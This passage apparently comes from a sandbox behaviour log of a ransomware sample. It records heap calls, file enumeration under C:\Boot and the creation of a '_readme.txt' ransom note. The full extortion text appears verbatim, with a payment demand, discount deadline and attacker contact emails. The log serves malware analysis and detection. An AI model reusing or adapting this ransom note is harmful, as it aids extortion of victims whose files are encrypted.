lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.175] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.175] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.175] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.175] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.175] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.175] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.175] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.175] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.175] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.175] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.175] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.175] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.175] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.175] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.175] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.175] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.175] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.175] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.175] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.175] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.175] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.175] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.175] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.175] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.175] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.175] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.175] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.176] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.176] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.176] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.176] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.176] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.176] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.176] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.176] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.176] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.176] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.176] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.176] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.176] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.176] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.176] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.176] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.176] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.176] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.176] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.176] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.176] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.176] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.176] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.176] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.176] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.176] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.176] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.176] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.176] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.176] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.176] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.176] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.177] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.177] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.177] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.177] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.177] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.177] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.177] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.177] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.177] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.177] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.177] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.177] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.177] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.177] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.177] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.177] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.177] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.177] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.177] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.177] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.177] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.177] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.177] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.177] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.177] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.177] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.177] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.177] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.177] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.177] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.177] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.177] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.178] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.178] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.178] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.178] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.178] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.178] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.178] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.178] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.178] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.178] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.178] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.178] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.178] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.178] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.178] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.178] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.178] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.178] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.178] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.178] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.178] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.178] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.178] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.178] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.178] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.178] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.178] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.178] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.178] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.178] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.178] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.178] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.179] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.179] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.179] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.179] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.179] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.179] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.179] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.179] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.179] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.179] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.179] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.179] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.179] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.179] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.179] PathFindFileNameW (pszPath="C:\\Boot\\pt-BR\\") returned="pt-BR\\" [0117.179] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.179] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.179] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.179] PathFindFileNameW (pszPath="") returned="" [0117.179] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.179] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.180] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.180] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x800) returned 0x61eeac0 [0117.180] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.180] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x810) returned 0x676ab00 [0117.180] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.180] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.180] PathAppendW (in: pszPath="C:\\Boot\\pt-BR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 1 [0117.180] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.180] PathFileExistsW (pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 0 [0117.181] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x7d00) returned 0x6771170 [0117.181] lstrcpyW (in: lpString1=0x6771170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.181] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.181] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676bc10 [0117.181] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\_readme.txt" (normalized: "c:\\boot\\pt-br\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.181] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.181] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.182] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.182] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0117.182] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.182] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.182] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.182] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.182] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.182] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.182] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.182] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.182] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.182] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.182] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.182] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.182] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.182] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.182] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.182] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.182] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: 